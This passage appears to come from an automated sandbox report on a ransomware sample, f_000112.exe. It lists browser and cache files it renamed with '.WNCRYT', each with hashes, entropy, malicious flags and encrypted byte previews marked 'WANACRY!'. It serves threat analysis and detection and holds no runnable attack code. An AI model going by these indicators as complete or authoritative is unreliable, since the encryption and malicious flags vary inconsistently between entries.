                                                                                                                                                                              Preview:WANACRY!.....<t.o.A.I.j..4|H..:.G{...qx..R0.=`........&=..2.1.j..I..pY.a...98\FH!. ......7....(.y....I.n..b...s.5...>.X.|.z.m.p.L.s.K.......,6W..3........407.4.8...f...........l.#)....;Z(.'.....{L.........Iy..O..u.*E...~..........6.&..UY.i.+F.E.q.[.$...............]..J....6.M..Wu......b....SL..p+.7X.C?VuS.[.].z...g...vG.t.,.F.......~..OW.8.sO.S.g RZ..a.G.._.P...P't.....Xo...2.~.yX....4c@y. .M.;tw...y......5../.vRg..V.Q!6.7..y..&?..E.j..oUyr6..sw..^.b,G.F.t&..m*.YM...w%..[.-.(..1(.Ui[)-..7>...>3.A....=...gA......R`.y...\.....|cWr.o...n.85...=Sr.F...............n..:..._uq. `.....B.t.c.Is...B..aZ[g.7.B.......*SX..3..h.p2.B=....uIk...6.W.. }N4.#0.`.e,;K...U..6r.{..-o2.......C.g.r;..f8..\~.2..k.......p....v...}..tV.lum.......G,)n....'.J...7.gy...O%S...p'$....y_..f .SK...q.^....p.d.t..8M.r.%,o.T)p[&.H..Yl.(<.*...Y..........d.|.-/.Q.r.....M^e..adN...5P.OO.b..X.r.r'....k..P.W..,.q..n.u...Q.u./....c:.}.PD.^.?........Ou-..2..Y..r....f..:

                                                                                                                                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons\96.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1752
                                                                                                                                                                              Entropy (8bit):7.892986702111022
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bkpsjbAKYr9/g/UvVCpKtPjpWjlerTscA:oOjbAPr9I/QCcjW0rTPA
                                                                                                                                                                              MD5:F3096FA74E27DA29528DE294ECD194C2
                                                                                                                                                                              SHA1:489FBA3238EC80F7F991CB434DEAF0083825AD6B
                                                                                                                                                                              SHA-256:5D874BFAF0A5A874940B325BC6F77C8267B06E74958DAFAA0AD4066611134004
                                                                                                                                                                              SHA-512:461EA8C428583A62F86765C9B10BB17031744018564EF1409CDC657AE014DD430AC88DF92472C1D732BE4342955102CE1AA720CB6B304E2D3003A70B54C61D99
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......}|..8..bz...R.......$/a....Z..H..p.p...QS|...e.@n>7.O....r...i&.c....Pq.%0/'.#0~a...7..._......^.;.e.5YQ8XA..+.6....b.D.T.........P....8R}./..{a"......+..iK@_6.CC..p....9.A%K.3....6.n.I.h.....A..nF.U..V9vA..K..).7.....#u..!eo.].Z/]...2..L...............gX`:.xmz...9UL7^.yc...a..d...I..I.BR..u)R...YRKS....E.....^5{............. .A.KF.l........[n9y..7.W.....e.^nn.........<>..GS.X.4..`.....~S....C.p..Z.....A.)*.~%.....3....\E.%..qA4..23..W....)@;..{.I|.......7...{..Fv.sU..G..V....<..J-..\J3....[...u|D..s^.J%h(.o..^..?..h.... .T.v...'.PGC.....d.l9..,..C.o.C.A.>..BU.4-J.`..6.@.<...E.K..k..v.oT....M..4.........5.b...[#.....P..n8.M...#..C....N.....u....).f....5..u......'-...w....2..M).(apf..a..z6B.l...#.r-"j._.g.h... ji9{.......4.....#.....J.i3G".I...Nmm.+,H......#......=.j...0sSG..}k.C.F~.!0H........A}e.m.... ..E.t........{_.z.>..E..Z1.VZp,.v...d.2.....Q..d..k.;.W..2.S..X.u...B#"8k..lh..h[k...8~.:..4.../.#.9...3{k.3.#.u.

                                                                                                                                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases\Databases.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):28952
                                                                                                                                                                              Entropy (8bit):7.993733443129596
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:768:fwTx4J6KcjNPaQg5B4cXb0iBZeFe5gTfO:IF7K5Bt3f+2
                                                                                                                                                                              MD5:0E762F1112A0B818B81E70F623D25980
                                                                                                                                                                              SHA1:9E9F82DFFD9CC68E5D6CD203C641845978E44C16
                                                                                                                                                                              SHA-256:7F4B2F4AC369FA8DDFE222A21CBB5087D70EB98C5B2697E1EFE67683D6D53380
                                                                                                                                                                              SHA-512:C442746ACACF2ACCE8FEF7027E829806EC310C6EE02B5BEDDF0EF9707F0463BB6F407277E74B51B7BB47D34BEADBFB7A02B736693C1318796F5C28BA1D72EC1D
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....0.:.).g.)C..~....l.L...k..).?..v....~....].,<.U...o....\q@.< .`.(.i.\...>..H....U....b.~I...rd{..p...[.[.D....r......!j.._+.N _<N..O...L.Q.8........f.lX....^.6)...'...rG......|X........../..L.-....Bf4zr~.?LH..A'$..RGls/.\.....,..:.e.q.`....R..^.Qe.......p........|O.iw...s.....#.......tO$.Lw.... ....|aun..Y....:Q..o.yt.....kNhz....sS+.Q6..S..o^......u..zd...l#S.qU..r.3&.e.o+.W\JS3V..X..,*=,....t.....}..i.[2....x...l_.a..J..9@$.......\[i(H.K.....d=^..m..-.q9..".p.J=S...T..x/..)8\r..j...d7.S._{.I..U.1.}6\b...U...nlJ.a...... .y.....ym....N....ZC(.,..a.b.....K..n..,...3.+.0e....8fld...8.B]YY......../.)...>..Bm.......5e..Wa.U..M~.l..l.bIk3.YmL/..5.{o.?x...+.O..r...Cun....&.;X....}D.W...-KJ.a.]..?2\Pe?....4=uU?W.zm.. ....{...f".Lpu.9._..2x.]..X.... <-Y.....7.Y.-..7.iY?...y......k.DN8o.....WV.*G[ .d.,iW........p.:G..Fs.^....9.fK6....E...-^.+..5..?%2......n....r..R.^7..I.s....L.K....>...C.|U..O..k."Z.Z..%.JD......K...g{....Y ..:...0...Ho..[

                                                                                                                                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\heavy_ad_intervention_opt_out.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):16664
                                                                                                                                                                              Entropy (8bit):7.989683369109615
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:384:yqSA8I/ObwZ357tMNxpAiQDqY9IENkqyhcfVx94i:yy8IG+jmkD9hks+i
                                                                                                                                                                              MD5:EB1EA078464C69746345619AB83F1F11
                                                                                                                                                                              SHA1:35959A0CFABFCFE548438C405796CC46AE08226A
                                                                                                                                                                              SHA-256:3718A77BCCC9E2F8ABC6C246B61BE980AE294DA2AFD4B94E5B080B4A8A6229E2
                                                                                                                                                                              SHA-512:916F955F7C8DE44D85A2652BCDA408CB31C2AC8E2414977F9B5DAC4FF6DD40C22B03F7DD191B156F9BE47830DEB8A392A34DFCBA7EC1C6240076DE61BFF7130D
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....-.{.c\.3..7.-......X.G.:.<..w.}U+....7GV4bm#......qH...F.Rd0_3....k..6..2.....p..u....`.....L...P....m.%$4u.u...d......./}!."....$.n....s)............xS...2.....T.-t.$..}R.;......+......M&t.e.(...WJ*.wyn.oY.-.J. ..3.....k...w..%Q..[y....M.....1%Q.......@......lr.....B#...].!6T.|...]..5&...nrM<c..f...q.u>...$.....n.W...D......C...!..l&.0.....=....\v[.".'I....@..).K..D.H..<.....>U.bY0..Z5w..~...:...2..LIsG.....>.m.ZO:'.....Bh.5.#...\v..........6.0T..j9.!.h..;...ca0/w;..l./b9......3.J....2{...D....7....1.Fy.[....6.bm...<<...+.<.[..bhm!..^ah...x...Q..M..D|/..l......$.!..e..vw..U....k...mI..S.EX..\L>......-.lnE.7h@..4.\...3b.Lr..j.8.I.._.a}-C..*...O...3.}..X...FrS....V.G...#..I..UkP.D.pM|.].Y..=.a".|..l..B.......s....>....Ck.b...3..pE&#.s..R._0"...U.p...Z..tg....g.t..(..8.O2..../..0....8...&..:......`..rX..o...b&.4.....).1.f.|....p${..S.k...i..U..?.U;.P...o..@... ./u.s..&(....U...:.<$..HZ...."e..)..D*.....h.....p..%...3.....

                                                                                                                                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\first_party_sets.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):49432
                                                                                                                                                                              Entropy (8bit):7.996211435181845
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:1536:XuFH8LJP5iBPbqDS36LxiPmNLtyEGsY26LTrc7S/:eRQ6BuQIi+N4s96/Q7S
                                                                                                                                                                              MD5:C148734F7A046F2D0849649E767B3299
                                                                                                                                                                              SHA1:B6712DC1AAAAA5624CBAC13C34D1E2C71643413E
                                                                                                                                                                              SHA-256:EA0BE3EE3FBE230F63054BB0AF365192655C5DD6420E0085534C4D59AA92BA40
                                                                                                                                                                              SHA-512:B2434F5EE13C30627D5C1BADF80A8D88F028C0228C56FDADF1AD44796B2C595532EB33658B9822943608A9CD7AAFDA5B474194603A539BE23FFC6E032A09AE7B
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......vy..],.i..h..........$F...\.S.........\.(-9.6Q9....@.g....M.8_....a..T0v.Eo......)..}...i.D.|B9U.............hp.G(4.{.UV..q..^'........`.eEN..H...`K...`.X.cc"...@H.&.....F>GNS.....O..3....q..L. ..a.b.?.D.IO...+....W...s....I.*.j...Ed.9..PT..............I.^.n..!...-A2.-.m6.N..#.@....C..x..*.V.Ck......g.v...bT..d..r...j..x@u...-..;..2.i.m.]..>l...3?+tt".... )..;.~fe..h<.S.O..p.Q8M(K..j'....a....z.r.#...s.Y..].5.y.<..d..[....UL..,x9 j......F.0ENR..U.j9.bS.'.....\...|...t..3..=.+.\.2+2.X.....J.0'.....B.:..z..,~.|#...ms5B.....AB..T......s.[.r.`]Iy.G....Z...Img.#hwK.$.b..ar.9.N"..i.Q.k......?.%\._.7...M/^s@..j.~.....q.6....>^..#....z.7..^5.V.j...cx.T..D.....;.x.5....E.m.....7....4.9.{........t.9.h...`.........d...8..qX._../...8n......|2g..*(.e....{.m.X....R>p.!..F." ..&X..Q8.:..Z ..s...........'..h".$x.z......aI,.......j.o..J..Qk..c.....am........5..R...q.x..:....Ne>]..Y.I\.......b..U.p....D.........3.<.0.../..._.]o..-g5X....

                                                                                                                                                                              C:\Users\user\AppData\Local\IconCache.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):11496
                                                                                                                                                                              Entropy (8bit):7.984106366021224
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:192:ST6KzapSTGVCnq3emdSVxvbvuhdti3y602MIR9HC/tCFId00xkTytwPW4RoXH:GBJGkwLS/kdtiG2JIYK0swu4WXH
                                                                                                                                                                              MD5:3647489B8CAE59AD5E4A009FA289E402
                                                                                                                                                                              SHA1:88B971419227A2424B44FD5922E6C2EB0C703950
                                                                                                                                                                              SHA-256:2011C9B6A06C2980D8F8F7D742F32CBE9AECB4E270E04B3C46B286FDCF3C6537
                                                                                                                                                                              SHA-512:A5D22FA8F24564C40E03D0F4A7AEA1D2B09BD625F281CA0B4006B654273DEB6E7D476FB6534A4AC54A19C7761FA0D3468ABA100BC2AF25ED1691E9A388F4EB8E
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....J.;..1.Y..D..O......>C.....a).+.b...->/m....WX.Gi5.oZ.....7.-..`b#....[3.n.jp..+.^l.....\..YVOG.+VR).`...ve.l.E..5...aDuD..d]d.{w.0.X?...q......*n..E....j........*ZH.FeR,..O!.~...`qD....l.......u......x.....PdY...8.-N_k[>L... 6S7k..:!....!...$....'.....+.......#s...A..X...u.U>....s.....=..n..o.....p9m....C..u).r..?.A.....".Y....rT..V5.+|.8q.?m.D...F<...dp.......0..t.....(.....e..{.s..8an.n'..+.^.J.......Ry.Q...7^..Bx.4.....z_..5j.=.a...N...S.Y..F.....u].;.5....v...y...V.U....E@$R....d.aF.-.c..gK.....H..U.U.Y..'.c...8..N.4.@..b..H..:.|u...........a.65,.D+..Q>LK..x<..h.=.....Ie..]rc.....8fm.."..V..w..j[._....VT.D.._..a....|....t1.4...~.ve..8d.Qcu......:..L.#...S&9.........[m.,..8"..Dc.%........,V.....D."[S9.X.... .|..<#.....0P.MR3..v\.<...J&...XdW.9.s&/..3....G,A..5.h.b|z.0`....7q.@.mZ...$g..N...&...F"n@,.h.&..9>.s.T.g.Y&2.e..S..MV{<M.g.k.6b...R<.$.=.$)...L.K...K.%.h.J3!Z...~G[.o..P...8.j_..[Wq.}.... .....5......,.&x..]..#.g..B.v.!T...

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeEDrop\EdgeEDropSQLite.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):33048
                                                                                                                                                                              Entropy (8bit):7.994608962252693
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:768:THbn1wkEBk+u9E3U5kAvNFlT+mRlf8AZonSJRbLXrn:THruk0ueUkAFfT+mLbZhJhn
                                                                                                                                                                              MD5:3DC8BD65BC8E2B5C3E79E131F48C29ED
                                                                                                                                                                              SHA1:2DAF14F0E36A65B6A9575ECADFFD22180BEA9755
                                                                                                                                                                              SHA-256:2F57C116CEEBEC4625DD8EFE4196231CF44A3A8C28F5D0CE4B67C616AA4424EF
                                                                                                                                                                              SHA-512:0C26E48C9F963AE2DE797D609C6EC5156F7CA4AD4888D6F9315F30CF81C518377EEA9A2979B5D0B49AE1DA0AA7DD7B246B137DCF2C7373347A5F157ED2201152
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......)....h 7.IM..h..c...;..ip...3}#.Wqi..Q.Q.....t.t..?R....c..AG$..U....e..<..w.kp.`u!.C,.9C... .l59g.d...HN.`.........X...q0.2;......w........^.Ry6#5....O.eH.`T.[.H..n0....~.(vGt.......9._<...E....Q#.!....W0...J....d..6|....xZ..D.<../.M:.O+T...............Kn../.#..............u..C_..C..:.....`#[......Y.o.6......%..qlp!+.j!V?y..>..:........0..<eM..2..l=.P...)TI..wi...H^E.W)x.....C.].m.Q2+.z.)#-..=).)o.zM.;.z...|......Y=....I..1..O3..Cl..(G.Q/...C.#.I=.....z.3=G0.N>..l.............b.I.+PA..=..|{..3....U.;;...7{.M.I.f.*......V[.O.T..Q.g...'4..?..8#-.4...Z..e..|,}..D^y.x...[...........y."!u1.Q.fS .P.kQmv.h..L.....r@...M.F6.r.\#.v.#.9..=....w...r.O.............a.j...lZ..RA.....7,d&tH..F.VjS.H.!K.=..5k...0t^..}...5....e........B..Y.y.ip.~....I..@.7 .....j......VK.h,B.+.a.^..m8(DP....E_.|+..H.rBN$..3.)_....%v..E..G..8.......'.l..3.."}.CqV.g3V..A8.,..U?u;W.........x.y...}-.B....58..?...hl...>:..'S.x.aX#....v..v..!~I..........o...'.

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):20760
                                                                                                                                                                              Entropy (8bit):7.990253280792902
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:384:Ypij2KGhZ+allTvlpH18jmZbfxCWuLRSxKlM9Ce:Y+hGhld9pHOSZdH2wxKlSCe
                                                                                                                                                                              MD5:C030FF2563123D4A5F92EF7759AF1B79
                                                                                                                                                                              SHA1:8B9EE136E8308FC4BCF6B15CFD317AD10750F7A4
                                                                                                                                                                              SHA-256:118440E6A950682D31933EFF6DEDF6B7B9DEA9E9E249E0014ACE4B880CBC0F2E
                                                                                                                                                                              SHA-512:E0F9AC8896C04DB7B5BFCAE4044C42EFFF169FBC319018DB658342A40FD6492BC2DD44DA7A73CE665264FA85CF5FE6FE52D9E8BAF5314DA5B43018A2A5224A0D
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....l...,&U.{.D."...l.%.s..{..z.b2. ...W.zb...Y...1-.+.P......\.t.H.........`H.....5..5Z....Q...HS.......Nu..oT..]...!.B.qI..J......>.Ps...Q..r.{..;3...1.E..0a...[..Ky.v.#..x.R.?.._......%.Zx....3>;.Q...<.........6....e.wa.wm.l.!X.. ...|.[.......R.....P.........r.ZMi.x[i!.".X....Wz.)sA......n%.._5..?#....y.x...="v..Z...-.H>D..fldR....M2A.D.......H..GB....H.ug.......F.......?/gb/....'....V....#...i...Fr#BaK..c.#m.....o.GP"yI......;%o~....q.......hD..H.F=...L.m..x...,.zk....J...T.Cl.9..(.e..1#./.....?.s_......I..wd0.^.P.a...o#. .......J....p.^....d.H..QGo.{...+....*..y.S.:...U5..W./..8n.......s....e..&.w.......t$=...>.....5.W#.._j.9Ve_0......{.t... x...(..'bE.yR....!....`..#..+......)...g.~..R..........C.lM.>....j.6....8so..}P..!...}......F.1-.....2),.#v4L.._..}..............N...]..x,...4..E....@..Jl]J......m(."..Z}..`x..]&..4.d.p...NR..w*.1.q...!.\..4]...J..j.m..@.D#`....s.N.{.3.......jz)JGy.<.1`...*S..XV..<_ja.K}..oy........_.%$M..

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\128.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):5272
                                                                                                                                                                              Entropy (8bit):7.964585465133687
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:96:oN+wl14Y+EFhGqxfXW8E+ryB5mQ/ywScBzzOSLg6kXTQty8vLjxATVXDifX6cO:K7l1KEFzPFmWVcROSqQ08TjxwVXDoqcO
                                                                                                                                                                              MD5:851650681BDD8E429FDF6FF036FA99DF
                                                                                                                                                                              SHA1:D8578AF5F0A6E7BFAF3CCD578A6AC9DAFDE7132F
                                                                                                                                                                              SHA-256:F4D8B982CFFC6AF62295BBC7B83F9D343C3918A305B0959898334B40FF1631D4
                                                                                                                                                                              SHA-512:19944723BBFD043617246ECF3C89B02E8D2DD399B2A7B0B4BDFD302EEEAD1D5B2489CF0A92D50BE4EB4FF9CB205E10297690C1C2B00E9E29274597CC9AB6E575
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!........R..;..8.......a....3.':...RR../..Mg...u..2`~..+.d...3.o.=.B)2.U.....A....jD>....Q.....z......p...<Y@R?."....0?.P...._.G.{5^21iw......!.%<j..l.k0.L..xI...w..\.t:<.+..I..-..`l..W3../._...(..& ..U..,. .....A:...\.....FF.....F.W..^.....*.........v..............T..$.>AS...H{dz.LX..._..z ...LU.._...y|......1.BF..+......+.^ ....1....^.X......I'tf...;.|.[=!._........Q..v\ts.A'"..(A.^.j[..3W.5.*....G.@..n.......g.....y`.3..v.j..w..........:r..zWp0.DR..$....y.t..'.lh.+......r.ZO?.?..z.:.........EBU.-.u.n..{w.......CE.....E..A..fJ...+../.,.....#0."..N...-.j...2..y^...U8..........>../G....*.G.X.h.L0......#?..V.m..i.<~.f...m./.[....~..I.LV*.N.#u...6.\..=.&a3W......!XI.......{|..rI..+.b.as%........].;7.d.l... O...-........r....2...*.{...."k:G"b.@..W.R.+hT$=...K0..bOP....}x...,...h..^q.M.-.O.._)_.f....-.._-a...-...G..m+4Q...8.A.......{z#g.i.<....{.%..-."%,X...i..K..8.z.}.-.r..."..H&P....@/.o....G...~@.,..l.x...lY.[..|0(...Y........../Fi

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\eventpage_bin_prod.js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):80552
                                                                                                                                                                              Entropy (8bit):7.997438208691116
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:1536:WeTqyCTgTzZCNgXkqPNo1sBScr+59HHg8nkHAYxmJjkI8rwUIFv/sw:CyX0cNxBS55FGAYxm9f8+/sw
                                                                                                                                                                              MD5:2414448F143DE507FA13E4CF73D595F7
                                                                                                                                                                              SHA1:CC8D7055C3FE0E12893830685513F9D138F9FAF3
                                                                                                                                                                              SHA-256:5EED196F2804378203DD6BA1FCD0F862B2691D4895EBB2E743BC3F6C406C6385
                                                                                                                                                                              SHA-512:6ABCDB1B41762C24CD6C43ABEDDED6488A443B110D36EB70F66F07BDEAAE9524C663E505FCD824EF90D09F2EE74A8E7CBDAB0E4F1B5C5625FA834CB889D9FF83
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......:.x......:...oi;...>~...L.L.I.C....L^.....*i......N.&.q._J.Nd.......,..<..-.~..^.....}K.H..x.!..H.B.=w.Q....{.#..^9r.4...3....H...k.....%aF..%.....c.Co.E..2C...u&|*.q.].0...I5.. ........}..<'Q.p...BV..Z..D.S...d..}.t1.*.........0Frt..9..n.......9......P...M..>...U_l...*ee..$B[uO...~.~CG..?8...s(DSnN.u9...-PV.V.=HA..k..:........Z..l...!/...#.,.d.;t...G.%0qzln0...............u....g...{%......d.W.=lC..J...$@.........f...h..%j..S.o..Re zt _.!.....L...u.q.%.;...f....|..%...si..c.0..C.i.i...b_l..6ye..lP,..%..{..eE..K..{.!u....K..|.Z.M.Zz...gu....U...hZ..NuhS.*dNe..N`.....I..R...L.....Zx.B|.Y....#...V.....s$..n.......a...2...D...(.*'6.SOo....S5...4..Y.....#..Wi{..U.+Tp.)...i;X.rj...Kh...B......*.._.5LF.....)Ke...<\..m.z.P.]d...P..../...L.Z.~.d.e..C...G.t*....c..-...Gmg.L.].6.}.,{./...7 ..w...[..\}.y..m{.o..~.-vH.3A.+.Yc..[...i6.k.g....\=xg...d.....v.0T.@...A...Q.....@.......W.*.u./Y.....U.Gf.!...2...W.!qM..D.,.._.2..F..8.Ub..n.rm..

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\page_embed_script.js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):584
                                                                                                                                                                              Entropy (8bit):7.5734597763748255
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:12:bkET222cUsnbR8Y1hFZQ0VfLJaNr3skE0IOSlzL9GiExHmV:bkq2WUsbbLeW09EM4VGimHmV
                                                                                                                                                                              MD5:4DD7CADF0336B65336DD0AE6C9037114
                                                                                                                                                                              SHA1:7C526B62F5C8B22B87BD2BD3611E901832DF890F
                                                                                                                                                                              SHA-256:F0D2D56D691BF42BDACC5FC35F96747AD6C662FF58471FD3BB37C9D9998F8815
                                                                                                                                                                              SHA-512:AFF52328339CCBD7FE198701CE893F55DA59B034081F6A285B0B8402375EEFF0960EFEF23F04A02A28DF8A7342C2853364D1B05BD0E5602F3BE6D1AB3E527091
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....U?D..YT.E$.D....x.<....3.}%..]h8.4.m.*.O......O.*....k.I.w......E............Io*.U=..-.....9.Fh].hWG....3...q..9.... ....;P.kR...{C.i.k..a.....(M`...-....(.'.......?3k..h.N....O8. ....H.c...>MQ.k.......m...T.pK.....\.t-....A ..|.>.6>.*.E.....Q....#........\...9....'t...i....]w.0.m.]....Yd..~..H-.aXb4.q(.T@U..Q..C......13<..e...L...~c.0.i.J."E..A.}s..B2'.0.'Cu..7.G..}^..k....xr...'..B..y8}k1.L/.F.*...|4.&P:.G.$...f=a....v....]{..Zo.......H.<.OcP.}...tY.dZ...X.7.a....u..-# }hu..-...p}Q..<v...9.'C...LW,.U.R`.1.......<jd...`..B.JM3....g..Y'.

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.0_0\content.js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):9704
                                                                                                                                                                              Entropy (8bit):7.980557922359988
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:192:91kdDrXEN9xuSnuacEs5R8b47VyUMzXcRWuO7DzE7a1ORoBsTzjIr1KhacHiPkNK:91I4hcX5mbaVyLzXFuN7azmT3XC79
                                                                                                                                                                              MD5:E8817567266E8E76B9784CC811655173
                                                                                                                                                                              SHA1:2DF8B61F5151D4FFD114962519772F0722EC6F37
                                                                                                                                                                              SHA-256:7DDE5A4D96A13FAA395D31D8E78CCC726DFFA98B1931D3B2B6B43F9DA3E8203D
                                                                                                                                                                              SHA-512:7ACB8304D64C3E015182427A39C202882CD08C86131D89768BB6DD1D9645228C09CA3245B8EECAB14CD1C41B097154A612E7CBA4762F4A5CF203204BFE8A0E6A
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....e.........eK...1..02..H.^.....n}pl..X].7j.6.~...q7.....V..H.......;.pb..t.(z....b..!Dtjw.K..p.';.=....xv..8........\....K.b...G...v......t..Vq..zV....I.OX.d9....]..S..?.^Q.......K..[...kF..b...OT.+b......m.*F.di..?>.x....\....N|C......%......9........$.........)._.[...Fj.e....0.2...-..'.......LT..2.........v.....1..f.s.g..aH..'.@.c3..].&...h.p4..Y....Kz.$ .>R...9....U.B.q`.D{x.3.<o8].|.z.=..Taep)...3...:..9&..e.XQ...*V{......... ...#2.T.0....5L..9k..1Lc...$.1.D.#....a7...[w....:..Fp@piq...Z.s..F....X.xp..qG..].u...)\..Q.....O.5J.W.&"..h.f7...)"..=P]j.E.C8R.X1..)...D.5........=..t...!~y...mF9...MVJ_V$.o.#.......|....N.#.V...$....>.}Z).x.....F..y.G.u$.h.N....J.T..:$+#..g...cO.6@O.`n=....p.S[.......Ff_.G...k:._;.{........]q,G.Sj...2...fa..... a..U..N[m.j...o...'..P.I.m.OFS....".&...U...WO.V6.!.6.%..N...,........V....U1".gG.j.o.|.D...ibNh..K..;|V..k2......Al17.^...l:..uPT.5...cl.R9..Ww.....a7C......c.\.'...=.kB..L..8<..N6L%..h..d..T

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.0_0\content_new.js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):10056
                                                                                                                                                                              Entropy (8bit):7.9810126332869356
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:192:bC99Y6zhuyjV51rmXjjXrJwpFJA1E/uyxQEOz5/LYj:b69vhHfZmXdw7fQHe
                                                                                                                                                                              MD5:6D4C0E98F87FD4A64B68B7773898C22D
                                                                                                                                                                              SHA1:683F339F5FFF907D14E69BAAA08E610E2262B9A1
                                                                                                                                                                              SHA-256:F71F6A39326BA1141F4581AC006DB426DF92644501CAD45047B052FA91EA65C4
                                                                                                                                                                              SHA-512:D0A5D795CED7B8CA360C9E4E97E3CDA251C5174EBCAB4AC2530E0F0E012000FEA230946E42550CED8B67C5C9FBC0C14E801C5D128370A5CF08984928D3DF13F5
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
